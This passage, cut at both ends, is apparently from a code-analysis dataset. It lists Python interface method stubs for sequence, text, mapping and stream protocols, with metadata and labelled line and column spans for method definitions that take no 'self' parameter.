__delitem__( key ):\n\t\t\"\"\"Delete sub-item by key or index\"\"\"", "metadata": "root.IObjectDelItem.__delitem__", "header": "['class', 'IObjectDelItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 61 }, { "content": "\tdef __len__( ):\n\t\t\"\"\"Return the length as an integer or long\"\"\"", "metadata": "root.IObjectLength.__len__", "header": "['class', 'IObjectLength', '(', 'Interface', ')', ':', '___EOS___']", "index": 66 }, { "content": "\tdef __nonzero__( ):\n\t\t\"\"\"Determine if the object is True (not False)\"\"\"", "metadata": "root.IObjectNonZero.__nonzero__", "header": "['class', 'IObjectNonZero', '(', 'Interface', ')', ':', '___EOS___']", "index": 73 }, { "content": "\tdef __hash__( ):\n\t\t\"\"\"Return the hash as an integer\"\"\"", "metadata": "root.IObjectHash.__hash__", "header": "['class', 'IObjectHash', '(', 'Interface', ')', ':', '___EOS___']", "index": 78 }, { "content": "\tdef __iter__():\n\t\t\"\"\"Return an iterator for the items of this object\"\"\"", "metadata": "root.IObjectIter.__iter__", "header": "['class', 'IObjectIter', '(', 'Interface', ')', ':', '___EOS___']", "index": 83 }, { "content": "\tdef __getstate__():\n\t\t\"\"\"Retrieve an object representing the current state\"\"\"", "metadata": "root.IPickleGetState.__getstate__", "header": "['class', 'IPickleGetState', '(', 'Interface', ')', ':', '___EOS___']", "index": 96 }, { "content": "\tdef __setstate__(state):\n\t\t\"\"\"Initialize the object from the given state\"\"\"", "metadata": "root.IPickleSetState.__setstate__", "header": "['class', 'IPickleSetState', '(', 'Interface', ')', ':', '___EOS___']", "index": 100 }, { "content": "\tdef __getinitargs__():\n\t\t\"\"\"Retrieve initialization arguments to re-create current state\"\"\"", "metadata": "root.IPickleGetInitArgs.__getinitargs__", "header": "['class', 'IPickleGetInitArgs', '(', 'Interface', ')', ':', '___EOS___']", "index": 104 }, { "content": "\tdef __copy__():\n\t\t\"\"\"Return a shallow copy of the object\"\"\"", "metadata": "root.ICopyCopy.__copy__", "header": "['class', 'ICopyCopy', '(', 'ICopyable', ')', ':', '___EOS___']", "index": 114 }, { "content": "\tdef __deepcopy__(memory):\n\t\t\"\"\"Return a deep copy of the object\n\n\t\tmemory -- dictionary of already-copied elements\n\t\t\"\"\"", "metadata": "root.ICopyDeepCopy.__deepcopy__", "header": "['class', 'ICopyDeepCopy', '(', 'IDeepCopyable', ')', ':', '___EOS___']", "index": 120 }, { "content": "\tdef __getitem__( index ):\n\t\t\"\"\"Get sub-item by index\"\"\"", "metadata": "root.ISequenceGetItem.__getitem__", "header": "['class', 'ISequenceGetItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 133 }, { "content": "\tdef __setitem__( index, other ):\n\t\t\"\"\"Set sub-item by index\"\"\"", "metadata": "root.ISequenceSetItem.__setitem__", "header": "['class', 'ISequenceSetItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 137 }, { "content": "\tdef __delitem__( index ):\n\t\t\"\"\"Delete sub-item by index\"\"\"", "metadata": "root.ISequenceDelItem.__delitem__", "header": "['class', 'ISequenceDelItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 141 }, { "content": "\tdef __getslice__( start, stop):\n\t\t\"\"\"Get sub-items by index-range\"\"\"", "metadata": "root.ISequenceGetSlice.__getslice__", "header": "['class', 'ISequenceGetSlice', '(', 'Interface', ')', ':', '___EOS___']", "index": 146 }, { "content": "\tdef __setslice__( start, stop, other):\n\t\t\"\"\"Set sub-items by index-range\"\"\"", "metadata": "root.ISequenceSetSlice.__setslice__", "header": "['class', 'ISequenceSetSlice', '(', 'Interface', ')', ':', '___EOS___']", "index": 150 }, { "content": "\tdef __delslice__( start, stop):\n\t\t\"\"\"Delete sub-items by index-range\"\"\"", "metadata": "root.ISequenceDelSlice.__delslice__", "header": "['class', 'ISequenceDelSlice', '(', 'Interface', ')', ':', '___EOS___']", "index": 154 }, { "content": "\tdef append( item):\n\t\t\"\"\"Append the particular item to the sequence\"\"\"", "metadata": "root.ISequenceAppend.append", "header": "['class', 'ISequenceAppend', '(', 'Interface', ')', ':', '___EOS___']", "index": 159 }, { "content": "\tdef count(item):\n\t\t\"\"\"Return the number of occurrences of the item in the sequence\"\"\"", "metadata": "root.ISequenceCount.count", "header": "['class', 'ISequenceCount', '(', 'Interface', ')', ':', '___EOS___']", "index": 163 }, { "content": "\tdef extend(other):\n\t\t\"\"\"Extend this sequence with the other sequence\"\"\"", "metadata": "root.ISequenceExtend.extend", "header": "['class', 'ISequenceExtend', '(', 'Interface', ')', ':', '___EOS___']", "index": 167 }, { "content": "\tdef index(item):\n\t\t\"\"\"Return integer index of first occurrence of item in sequence\"\"\"", "metadata": "root.ISequenceIndex.index", "header": "['class', 'ISequenceIndex', '(', 'Interface', ')', ':', '___EOS___']", "index": 171 }, { "content": "\tdef insert(index, item):\n\t\t\"\"\"Insert the given item at the given index\n\n\t\t(sequence[index] should be item afterward)\n\t\t\"\"\"", "metadata": "root.ISequenceInsert.insert", "header": "['class', 'ISequenceInsert', '(', 'Interface', ')', ':', '___EOS___']", "index": 178 }, { "content": "\tdef remove(item):\n\t\t\"\"\"Remove the first instance of the given item from sequence\"\"\"", "metadata": "root.ISequenceRemove.remove", "header": "['class', 'ISequenceRemove', '(', 'Interface', ')', ':', '___EOS___']", "index": 185 }, { "content": "\tdef reverse():\n\t\t\"\"\"Reverse the sequence's order in-place\"\"\"", "metadata": "root.ISequenceReverse.reverse", "header": "['class', 'ISequenceReverse', '(', 'Interface', ')', ':', '___EOS___']", "index": 189 }, { "content": "\tdef sort(function = None):\n\t\t\"\"\"Sort the sequence in-place\n\n\t\tfunction -- if specified, the comparison function\n\t\t\tto use for sorting, otherwise cmp\n\t\t\"\"\"", "metadata": "root.ISequenceSort.sort", "header": "['class', 'ISequenceSort', '(', 'Interface', ')', ':', '___EOS___']", "index": 193 }, { "content": "\tdef pop():\n\t\t\"\"\"Remove and return the last item of the sequence\"\"\"", "metadata": "root.ISequencePop.pop", "header": "['class', 'ISequencePop', '(', 'Interface', ')', ':', '___EOS___']", "index": 201 }, { "content": "\tdef pop(index =-1):\n\t\t\"\"\"Remove and return the given item from the sequence\"\"\"", "metadata": "root.ISequencePopAny.pop", "header": "['class', 'ISequencePopAny', '(', 'Interface', ')', ':', '___EOS___']", "index": 205 }, { "content": "\tdef __iter__():\n\t\t\"\"\"Return the object itself to allow for x in Iterator operation\"\"\"", "metadata": "root.IIterator.__iter__", "header": "['class', 'IIterator', '(', 'Interface', ')', ':', '___EOS___']", "index": 211 }, { "content": "\tdef next():\n\t\t\"\"\"Return the next item in the sequence\"\"\"", "metadata": "root.IIterator.next", "header": "['class', 'IIterator', '(', 'Interface', ')', ':', '___EOS___']", "index": 213 }, { "content": "\tdef join(sequence):\n\t\t\"\"\"Return texts within sequence joined by this text\"\"\"", "metadata": "root.ITextJoin.join", "header": "['class', 'ITextJoin', '(', 'Interface', ')', ':', '___EOS___']", "index": 220 }, { "content": "\tdef split(substring, maximum=None):\n\t\t\"\"\"Return text intervals between instances of substring in text\"\"\"", "metadata": "root.ITextSplit.split", "header": "['class', 'ITextSplit', '(', 'Interface', ')', ':', '___EOS___']", "index": 224 }, { "content": "\tdef replace(old, new, maximum = None):\n\t\t\"\"\"Return text with instances of old substring replaced by new substring\n\n\t\tmaximum -- if specified, limits total number of substitutions\n\t\t\"\"\"", "metadata": "root.ITextReplace.replace", "header": "['class', 'ITextReplace', '(', 'Interface', ')', ':', '___EOS___']", "index": 228 }, { "content": "\tdef splitlines(keepends= 0):\n\t\t\"\"\"Return text intervals between newline characters\n\n\t\tkeepends -- if true, retain the newline characters\n\t\t\tas part of the intervals (lines)\n\t\t\"\"\"", "metadata": "root.ITextSplitLines.splitlines", "header": "['class', 'ITextSplitLines', '(', 'Interface', ')', ':', '___EOS___']", "index": 235 }, { "content": "\tdef capitalize():\n\t\t\"\"\"Return copy of text with the first characters capitalized\"\"\"", "metadata": "root.ITextCapitalize.capitalize", "header": "['class', 'ITextCapitalize', '(', 'Interface', ')', ':', '___EOS___']", "index": 245 }, { "content": "\tdef center(width):\n\t\t\"\"\"Return copy of text centered in string of given width\"\"\"", "metadata": "root.ITextCenterAlign.center", "header": "['class', 'ITextCenterAlign', '(', 'Interface', ')', ':', '___EOS___']", "index": 249 }, { "content": "\tdef rjust(width):\n\t\t\"\"\"Return copy of text right-aligned in string of given width\"\"\"", "metadata": "root.ITextRightAlign.rjust", "header": "['class', 'ITextRightAlign', '(', 'Interface', ')', ':', '___EOS___']", "index": 253 }, { "content": "\tdef ljust(width):\n\t\t\"\"\"Return copy of text left-aligned in string of given width\"\"\"", "metadata": "root.ITextLeftAlign.ljust", "header": "['class', 'ITextLeftAlign', '(', 'Interface', ')', ':', '___EOS___']", "index": 257 }, { "content": "\tdef zfill(width):\n\t\t\"\"\"Return copy of text left-zero-padded in string of given width\"\"\"", "metadata": "root.ITextZeroFill.zfill", "header": "['class', 'ITextZeroFill', '(', 'Interface', ')', ':', '___EOS___']", "index": 261 }, { "content": "\tdef translate(table, toDelete=\"\"):\n\t\t\"\"\"Return copy of text translated via table with to toDelete characters removed\"\"\"", "metadata": "root.ITextTranslate.translate", "header": "['class', 'ITextTranslate', '(', 'Interface', ')', ':', '___EOS___']", "index": 266 }, { "content": "\tdef expandtabs( tabsize = 8 ):\n\t\t\"\"\"Return copy of text with tabs expanded to tabsize spaces\"\"\"", "metadata": "root.ITextExpandTabs.expandtabs", "header": "['class', 'ITextExpandTabs', '(', 'Interface', ')', ':', '___EOS___']", "index": 271 }, { "content": "\tdef upper():\n\t\t\"\"\"Return a copy of text in all uppercase\"\"\"", "metadata": "root.ITextCaseUpper.upper", "header": "['class', 'ITextCaseUpper', '(', 'Interface', ')', ':', '___EOS___']", "index": 277 }, { "content": "\tdef lower():\n\t\t\"\"\"Return a copy of text in all lowercase\"\"\"", "metadata": "root.ITextCaseLower.lower", "header": "['class', 'ITextCaseLower', '(', 'Interface', ')', ':', '___EOS___']", "index": 281 }, { "content": "\tdef swapcase():\n\t\t\"\"\"Return a copy of text with case of all characters swapped\"\"\"", "metadata": "root.ITextCaseSwap.swapcase", "header": "['class', 'ITextCaseSwap', '(', 'Interface', ')', ':', '___EOS___']", "index": 285 }, { "content": "\tdef title():\n\t\t\"\"\"Return a copy of text in title-case\"\"\"", "metadata": "root.ITextCaseTitle.title", "header": "['class', 'ITextCaseTitle', '(', 'Interface', ')', ':', '___EOS___']", "index": 289 }, { "content": "\tdef lstrip(whitespace = None):\n\t\t\"\"\"Return copy of text with leftmost whitespace trimmed\n\n\t\twhitespace -- None, indicating regular whitespace, otherwise\n\t\t\tset of characters which should be trimmed.\n\t\t\"\"\"", "metadata": "root.ITextStripLeft.lstrip", "header": "['class', 'ITextStripLeft', '(', 'Interface', ')', ':', '___EOS___']", "index": 295 }, { "content": "\tdef rstrip(whitespace = None):\n\t\t\"\"\"Return copy of text with rightmost whitespace trimmed\n\n\t\twhitespace -- None, indicating regular whitespace, otherwise\n\t\t\tset of characters which should be trimmed.\n\t\t\"\"\"", "metadata": "root.ITextStripRight.rstrip", "header": "['class', 'ITextStripRight', '(', 'Interface', ')', ':', '___EOS___']", "index": 303 }, { "content": "\tdef strip(whitespace = None):\n\t\t\"\"\"Return copy of text with leading and trailing whitespace trimmed\n\n\t\twhitespace -- None, indicating regular whitespace, otherwise\n\t\t\tset of characters which should be trimmed.\n\t\t\"\"\"", "metadata": "root.ITextStrip.strip", "header": "['class', 'ITextStrip', '(', 'Interface', ')', ':', '___EOS___']", "index": 311 }, { "content": "\tdef decode(encoding = None, errors = \"strict\"):\n\t\t\"\"\"Decode text using the codec registered for encoding.\n\n\t\tencoding defaults to the default encoding. errors may be given\n\t\tto set a different error handling scheme. Default is 'strict'\n\t\tmeaning that encoding errors raise a ValueError. Other possible\n\t\tvalues are 'ignore' and 'replace'.\n\t\t\"\"\"", "metadata": "root.ITextDecode.decode", "header": "['class', 'ITextDecode', '(', 'Interface', ')', ':', '___EOS___']", "index": 320 }, { "content": "\tdef encode(encoding = None, errors = \"strict\"):\n\t\t\"\"\"Encode text using the codec registered for encoding.\n\n\t\tencoding defaults to the default encoding. errors may be given\n\t\tto set a different error handling scheme. Default is 'strict'\n\t\tmeaning that encoding errors raise a ValueError. Other possible\n\t\tvalues are 'ignore' and 'replace'.\n\t\t\"\"\"", "metadata": "root.ITextEncode.encode", "header": "['class', 'ITextEncode', '(', 'Interface', ')', ':', '___EOS___']", "index": 330 }, { "content": "\tdef startswith( prefix, start = 0, end = sys.maxint):\n\t\t\"\"\"Return true if the text (in the given slice) starts with the given suffix \"\"\"", "metadata": "root.ITextStartsWith.startswith", "header": "['class', 'ITextStartsWith', '(', 'Interface', ')', ':', '___EOS___']", "index": 341 }, { "content": "\tdef endswith( suffix, start = 0, end = sys.maxint):\n\t\t\"\"\"Return true if the text (in the given slice) ends with the given suffix \"\"\"", "metadata": "root.ITextEndsWith.endswith", "header": "['class', 'ITextEndsWith', '(', 'Interface', ')', ':', '___EOS___']", "index": 345 }, { "content": "\tdef count( sub, start= 0, end=sys.maxint):\n\t\t\"\"\"Count the number of occurrences of substring in given slice\"\"\"", "metadata": "root.ITextCount.count", "header": "['class', 'ITextCount', '(', 'ISequenceCount', ')', ':', '___EOS___']", "index": 349 }, { "content": "\tdef find( sub, start = 0, end =sys.maxint):\n\t\t\"\"\"Return lowest index where substring found in slice, -1 if not found\"\"\"", "metadata": "root.ITextFind.find", "header": "['class', 'ITextFind', '(', 'Interface', ')', ':', '___EOS___']", "index": 353 }, { "content": "\tdef index(sub, start=0, end= sys.maxint):\n\t\t\"\"\"Return lowest index where substring found in slice, ValueError if not found\"\"\"", "metadata": "root.ITextIndex.index", "header": "['class', 'ITextIndex', '(', 'ISequenceIndex', ')', ':', '___EOS___']", "index": 357 }, { "content": "\tdef rfind( sub, start = 0, end =sys.maxint):\n\t\t\"\"\"Return highest index where substring found in slice, -1 if not found\"\"\"", "metadata": "root.ITextFindRight.rfind", "header": "['class', 'ITextFindRight', '(', 'Interface', ')', ':', '___EOS___']", "index": 361 }, { "content": "\tdef rindex(sub, start=0, end= sys.maxint):\n\t\t\"\"\"Return highest index where substring found in slice, ValueError if not found\"\"\"", "metadata": "root.ITextIndexRight.rindex", "header": "['class', 'ITextIndexRight', '(', 'ISequenceIndex', ')', ':', '___EOS___']", "index": 365 }, { "content": "\tdef isalnum():\n\t\t\"\"\"Return whether len(text) > 0 and text is entirely alphanumeric\"\"\"", "metadata": "root.ITextIsAlphaNumeric.isalnum", "header": "['class', 'ITextIsAlphaNumeric', '(', 'Interface', ')', ':', '___EOS___']", "index": 370 }, { "content": "\tdef isalpha():\n\t\t\"\"\"Return whether len(text) > 0 and text is entirely alphabetic\"\"\"", "metadata": "root.ITextIsAlpha.isalpha", "header": "['class', 'ITextIsAlpha', '(', 'Interface', ')', ':', '___EOS___']", "index": 374 }, { "content": "\tdef isdigit():\n\t\t\"\"\"Return whether text is entirely composed of digit characters\"\"\"", "metadata": "root.ITextIsDigit.isdigit", "header": "['class', 'ITextIsDigit', '(', 'Interface', ')', ':', '___EOS___']", "index": 378 }, { "content": "\tdef isdigit():\n\t\t\"\"\"Return whether text is entirely composed of numeric characters\"\"\"", "metadata": "root.ITextIsNumeric.isdigit", "header": "['class', 'ITextIsNumeric', '(', 'Interface', ')', ':', '___EOS___']", "index": 382 }, { "content": "\tdef islower():\n\t\t\"\"\"Return whether len(text) > 0 and text is entirely lowercase\"\"\"", "metadata": "root.ITextIsLower.islower", "header": "['class', 'ITextIsLower', '(', 'Interface', ')', ':', '___EOS___']", "index": 386 }, { "content": "\tdef isspace():\n\t\t\"\"\"Return whether len(text) > 0 and text is entirely whitespace\"\"\"", "metadata": "root.ITextIsSpace.isspace", "header": "['class', 'ITextIsSpace', '(', 'Interface', ')', ':', '___EOS___']", "index": 390 }, { "content": "\tdef istitle():\n\t\t\"\"\"Return whether text is entirely formatted in title case\"\"\"", "metadata": "root.ITextIsTitleCased.istitle", "header": "['class', 'ITextIsTitleCased', '(', 'Interface', ')', ':', '___EOS___']", "index": 394 }, { "content": "\tdef isupper():\n\t\t\"\"\"Return whether text is entirely formatted in upper case\"\"\"", "metadata": "root.ITextIsUpperCased.isupper", "header": "['class', 'ITextIsUpperCased', '(', 'Interface', ')', ':', '___EOS___']", "index": 398 }, { "content": "\tdef clear():\n\t\t\"\"\"Remove all subelements from this object\"\"\"", "metadata": "root.IMappingClear.clear", "header": "['class', 'IMappingClear', '(', 'Interface', ')', ':', '___EOS___']", "index": 404 }, { "content": "\tdef copy():\n\t\t\"\"\"Return a shallow copy of the mapping\"\"\"", "metadata": "root.IMappingCopy.copy", "header": "['class', 'IMappingCopy', '(', 'Interface', ')', ':', '___EOS___']", "index": 408 }, { "content": "\tdef update(other):\n\t\t\"\"\"Add all keys from other, overriding local key-value combinations\"\"\"", "metadata": "root.IMappingUpdate.update", "header": "['class', 'IMappingUpdate', '(', 'Interface', ')', ':', '___EOS___']", "index": 412 }, { "content": "\tdef get(key, default = None):\n\t\t\"\"\"Return the item for the giving key, or default\"\"\"", "metadata": "root.IMappingGet.get", "header": "['class', 'IMappingGet', '(', 'Interface', ')', ':', '___EOS___']", "index": 417 }, { "content": "\tdef popitem():\n\t\t\"\"\"Return some (key,value) pair from the dictionary, KeyError if empty\"\"\"", "metadata": "root.IMappingPopItem.popitem", "header": "['class', 'IMappingPopItem', '(', 'Interface', ')', ':', '___EOS___']", "index": 421 }, { "content": "\tdef setdefault(key, default = None):\n\t\t\"\"\"Retrieve current value, or set default value and return that\"\"\"", "metadata": "root.IMappingSetDefault.setdefault", "header": "['class', 'IMappingSetDefault', '(', 'Interface', ')', ':', '___EOS___']", "index": 425 }, { "content": "\tdef has_key(key):\n\t\t\"\"\"Determine whether the key exists in the mapping\"\"\"", "metadata": "root.IMappingHasKey.has_key", "header": "['class', 'IMappingHasKey', '(', 'Interface', ')', ':', '___EOS___']", "index": 430 }, { "content": "\tdef items():\n\t\t\"\"\"Return all items in mapping as a (key, value) list\"\"\"", "metadata": "root.IMappingItems.items", "header": "['class', 'IMappingItems', '(', 'Interface', ')', ':', '___EOS___']", "index": 435 }, { "content": "\tdef iteritems():\n\t\t\"\"\"Return all items in mapping as a (key, value) iterable\"\"\"", "metadata": "root.IMappingIterItems.iteritems", "header": "['class', 'IMappingIterItems', '(', 'Interface', ')', ':', '___EOS___']", "index": 439 }, { "content": "\tdef keys():\n\t\t\"\"\"Return all keys in mapping as a list\"\"\"", "metadata": "root.IMappingKeys.keys", "header": "['class', 'IMappingKeys', '(', 'Interface', ')', ':', '___EOS___']", "index": 443 }, { "content": "\tdef iterkeys():\n\t\t\"\"\"Return all keys in mapping as an iterable\"\"\"", "metadata": "root.IMappingIterKeys.iterkeys", "header": "['class', 'IMappingIterKeys', '(', 'Interface', ')', ':', '___EOS___']", "index": 447 }, { "content": "\tdef values():\n\t\t\"\"\"Return all values in mapping as a list\"\"\"", "metadata": "root.IMappingValues.values", "header": "['class', 'IMappingValues', '(', 'Interface', ')', ':', '___EOS___']", "index": 451 }, { "content": "\tdef itervalues():\n\t\t\"\"\"Return all values in mapping as an iterable\"\"\"", "metadata": "root.IMappingIterValues.itervalues", "header": "['class', 'IMappingIterValues', '(', 'Interface', ')', ':', '___EOS___']", "index": 455 }, { "content": "\tdef close():\n\t\t\"\"\"flush internal buffers, close the stream, and release resources\"\"\"", "metadata": "root.IStreamClose.close", "header": "['class', 'IStreamClose', '(', 'Interface', ')', ':', '___EOS___']", "index": 465 }, { "content": "\tdef flush():\n\t\t\"\"\"Flush (write) internal buffers to the stream\"\"\"", "metadata": "root.IStreamFlush.flush", "header": "['class', 'IStreamFlush', '(', 'Interface', ')', ':', '___EOS___']", "index": 469 }, { "content": "\tdef isatty():\n\t\t\"\"\"Return Boolean representing whether is a TTY-like device\"\"\"", "metadata": "root.IStreamIsTTY.isatty", "header": "['class', 'IStreamIsTTY', '(', 'Interface', ')', ':', '___EOS___']", "index": 474 }, { "content": "\tdef read(size = None):\n\t\t\"\"\"read available bytes from stream, limit to size if specified\"\"\"", "metadata": "root.IStreamRead.read", "header": "['class', 'IStreamRead', '(', 'Interface', ')', ':', '___EOS___']", "index": 479 }, { "content": "\tdef write(string):\n\t\t\"\"\"Write the string to the stream\"\"\"", "metadata": "root.IStreamWrite.write", "header": "['class', 'IStreamWrite', '(', 'Interface', ')', ':', '___EOS___']", "index": 483 }, { "content": "\tdef readline(size = None):\n\t\t\"\"\"read a line from stream, limit bytes read to ~ size if specified\"\"\"", "metadata": "root.IStreamReadLine.readline", "header": "['class', 'IStreamReadLine', '(', 'Interface', ')', ':', '___EOS___']", "index": 488 }, { "content": "\tdef readlines(size = None):\n\t\t\"\"\"read lines from stream, limit bytes read to ~ size if specified\"\"\"", "metadata": "root.IStreamReadLines.readlines", "header": "['class', 'IStreamReadLines', '(', 'Interface', ')', ':', '___EOS___']", "index": 492 }, { "content": "\tdef xreadlines(size = None):\n\t\t\"\"\"read lines from stream, limit bytes read to ~ size if specified\"\"\"", "metadata": "root.IStreamXReadLines.xreadlines", "header": "['class', 'IStreamXReadLines', '(', 'Interface', ')', ':', '___EOS___']", "index": 500 }, { "content": "\tdef writelines(iterable):\n\t\t\"\"\"Iterate over the iterable writing each resulting string to stream\"\"\"", "metadata": "root.IStreamWriteLines.writelines", "header": "['class', 'IStreamWriteLines', '(', 'Interface', ')', ':', '___EOS___']", "index": 504 }, { "content": "\tdef seek(offset, whence):\n\t\t\"\"\"seek(offset[, whence]) -> None. Move to new stream position\n\n\t\tArgument offset is a byte count. Optional argument whence defaults to\n\t\t0 (offset from start of file, offset should be >= 0); other values are 1\n\t\t(move relative to current position, positive or negative), and 2 (move\n\t\trelative to end of file, usually negative, although many platforms allow\n\t\tseeking beyond the end of a file).\n\t\t\"\"\"", "metadata": "root.IStreamSeek.seek", "header": "['class', 'IStreamSeek', '(', 'Interface', ')', ':', '___EOS___']", "index": 509 }, { "content": "\tdef tell():\n\t\t\"\"\"return current file position (integer or long)\"\"\"", "metadata": "root.IStreamTell.tell", "header": "['class', 'IStreamTell', '(', 'Interface', ')', ':', '___EOS___']", "index": 521 }, { "content": "\tdef truncate(size = None):\n\t\t\"\"\"Truncated stream to given size, or current position if not specified\"\"\"", "metadata": "root.IStreamTruncate.truncate", "header": "['class', 'IStreamTruncate', '(', 'Interface', ')', ':', '___EOS___']", "index": 529 }, { "content": "\tdef getvalue ():\n\t\t\"\"\"Retrieve the current value of the string buffer\"\"\"", "metadata": "root.IStringIOGetValue.getvalue", "header": "['class', 'IStringIOGetValue', '(', 'Interface', ')', ':', '___EOS___']", "index": 545 }, { "content": "\tdef first():\n\t\t\"\"\"return the first key in the database\"\"\"", "metadata": "root.IBSDIteration.first", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 576 }, { "content": "\tdef next(key):\n\t\t\"\"\"return the key in the database after given key\"\"\"", "metadata": "root.IBSDIteration.next", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 578 }, { "content": "\tdef last():\n\t\t\"\"\"return the last key in the database\"\"\"", "metadata": "root.IBSDIteration.last", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 580 }, { "content": "\tdef previous(key):\n\t\t\"\"\"return the key in the database before given key\"\"\"", "metadata": "root.IBSDIteration.previous", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 582 }, { "content": "\tdef sync():\n\t\t\"\"\"synchronize in-memory database with on-disk database\"\"\"", "metadata": "root.IBSDIteration.sync", "header": "['class', 'IBSDIteration', '(', 'Interface', ')', ':', '___EOS___']", "index": 584 }, { "content": "\tdef set_location( key ):\n\t\t\"\"\"Set cursor to item indicated by key, return (key,value)\"\"\"", "metadata": "root.IBSDIterationSetLocation.set_location", "header": "['class', 'IBSDIterationSetLocation', '(', 'IBSDIteration', ')', ':', '___EOS___']", "index": 590 }, { "content": "\tdef tostring():\n\t\t\"\"\"Convert to array of machine values and return as string\"\"\"", "metadata": "root.IArrayIOString.tostring", "header": "['class', 'IArrayIOString', '(', 'Interface', ')', ':', '___EOS___']", "index": 597 }, { "content": "\tdef fromstring( string ):\n\t\t\"\"\"Appends items from string (sequence of machine values)\"\"\"", "metadata": "root.IArrayIOString.fromstring", "header": "['class', 'IArrayIOString', '(', 'Interface', ')', ':', '___EOS___']", "index": 599 }, { "content": "\tdef tolist():\n\t\t\"\"\"Convert to list of elements\"\"\"", "metadata": "root.IArrayIOList.tolist", "header": "['class', 'IArrayIOList', '(', 'Interface', ')', ':', '___EOS___']", "index": 603 }, { "content": "\tdef fromlist( string ):\n\t\t\"\"\"Appends items from list\"\"\"", "metadata": "root.IArrayIOList.fromlist", "header": "['class', 'IArrayIOList', '(', 'Interface', ')', ':', '___EOS___']", "index": 605 }, { "content": "\tdef tofile():\n\t\t\"\"\"Write to file as array of machine values\"\"\"", "metadata": "root.IArrayIOFile.tofile", "header": "['class', 'IArrayIOFile', '(', 'Interface', ')', ':', '___EOS___']", "index": 609 }, { "content": "\tdef fromfile( string ):\n\t\t\"\"\"Appends from file/stream as array of machine values\"\"\"", "metadata": "root.IArrayIOFile.fromfile", "header": "['class', 'IArrayIOFile', '(', 'Interface', ')', ':', '___EOS___']", "index": 611 }, { "content": "\tdef byteswap( ):\n\t\t\"\"\"Byte-swap the array data\"\"\"", "metadata": "root.IArrayByteswap.byteswap", "header": "['class', 'IArrayByteswap', '(', 'Interface', ')', ':', '___EOS___']", "index": 624 } ]
[ { "span": "def __contains__( other ):", "start_line": 19, "start_column": 1, "end_line": 19, "end_column": 27 }, { "span": "def __eq__( other ):", "start_line": 27, "start_column": 1, "end_line": 27, "end_column": 21 }, { "span": "def __ne__( other ):", "start_line": 34, "start_column": 1, "end_line": 34, "end_column": 21 }, { "span": "def __getitem__( key ):", "start_line": 53, "start_column": 1, "end_line": 53, "end_column": 24 }, { "span": "def __setitem__( key, other ):", "start_line": 57, "start_column": 1, "end_line": 57, "end_column": 31 }, { "span": "def __delitem__( key ):", "start_line": 61, "start_column": 1, "end_line": 61, "end_column": 24 }, { "span": "def __len__( ):", "start_line": 66, "start_column": 1, "end_line": 66, "end_column": 16 }, { "span": "def __nonzero__( ):", "start_line": 73, "start_column": 1, "end_line": 73, "end_column": 20 }, { "span": "def __hash__( ):", "start_line": 78, "start_column": 1, "end_line": 78, "end_column": 17 }, { "span": "def __iter__():", "start_line": 83, "start_column": 1, "end_line": 83, "end_column": 16 }, { "span": "def __getstate__():", "start_line": 96, "start_column": 1, "end_line": 96, "end_column": 20 }, { "span": "def __setstate__(state):", "start_line": 100, "start_column": 1, "end_line": 100, "end_column": 25 }, { "span": "def __getinitargs__():", "start_line": 104, "start_column": 1, "end_line": 104, "end_column": 23 }, { "span": "def __copy__():", "start_line": 114, "start_column": 1, "end_line": 114, "end_column": 16 }, { "span": "def __deepcopy__(memory):", "start_line": 120, "start_column": 1, "end_line": 120, "end_column": 26 }, { "span": "def __getitem__( index ):", "start_line": 133, "start_column": 1, "end_line": 133, "end_column": 26 }, { "span": "def __setitem__( index, other ):", "start_line": 137, "start_column": 1, "end_line": 137, "end_column": 33 }, { "span": "def __delitem__( index ):", "start_line": 141, "start_column": 1, "end_line": 141, "end_column": 26 }, { "span": "def __getslice__( start, stop):", "start_line": 146, "start_column": 1, "end_line": 146, "end_column": 32 }, { "span": "def __setslice__( start, stop, other):", "start_line": 150, "start_column": 1, "end_line": 150, "end_column": 39 }, { "span": "def __delslice__( start, stop):", "start_line": 154, "start_column": 1, "end_line": 154, "end_column": 32 }, { "span": "def append( item):", "start_line": 159, "start_column": 1, "end_line": 159, "end_column": 19 }, { "span": "def count(item):", "start_line": 163, "start_column": 1, "end_line": 163, "end_column": 17 }, { "span": "def extend(other):", "start_line": 167, "start_column": 1, "end_line": 167, "end_column": 19 }, { "span": "def index(item):", "start_line": 171, "start_column": 1, "end_line": 171, "end_column": 17 }, { "span": "def insert(index, item):", "start_line": 178, "start_column": 1, "end_line": 178, "end_column": 25 }, { "span": "def remove(item):", "start_line": 185, "start_column": 1, "end_line": 185, "end_column": 18 }, { "span": "def reverse():", "start_line": 189, "start_column": 1, "end_line": 189, "end_column": 15 }, { "span": "def sort(function = None):", "start_line": 193, "start_column": 1, "end_line": 193, "end_column": 27 }, { "span": "def pop():", "start_line": 201, "start_column": 1, "end_line": 201, "end_column": 11 }, { "span": "def pop(index =-1):", "start_line": 205, "start_column": 1, "end_line": 205, "end_column": 20 }, { "span": "def __iter__():", "start_line": 211, "start_column": 1, "end_line": 211, "end_column": 16 }, { "span": "def next():", "start_line": 213, "start_column": 1, "end_line": 213, "end_column": 12 }, { "span": "def join(sequence):", "start_line": 220, "start_column": 1, "end_line": 220, "end_column": 20 }, { "span": "def split(substring, maximum=None):", "start_line": 224, "start_column": 1, "end_line": 224, "end_column": 36 }, { "span": "def replace(old, new, maximum = None):", "start_line": 228, "start_column": 1, "end_line": 228, "end_column": 39 }, { "span": "def splitlines(keepends= 0):", "start_line": 235, "start_column": 1, "end_line": 235, "end_column": 29 }, { "span": "def capitalize():", "start_line": 245, "start_column": 1, "end_line": 245, "end_column": 18 }, { "span": "def center(width):", "start_line": 249, "start_column": 1, "end_line": 249, "end_column": 19 }, { "span": "def rjust(width):", "start_line": 253, "start_column": 1, "end_line": 253, "end_column": 18 }, { "span": "def ljust(width):", "start_line": 257, "start_column": 1, "end_line": 257, "end_column": 18 }, { "span": "def zfill(width):", "start_line": 261, "start_column": 1, "end_line": 261, "end_column": 18 }, { "span": "def translate(table, toDelete=\"\"):", "start_line": 266, "start_column": 1, "end_line": 266, "end_column": 35 }, { "span": "def 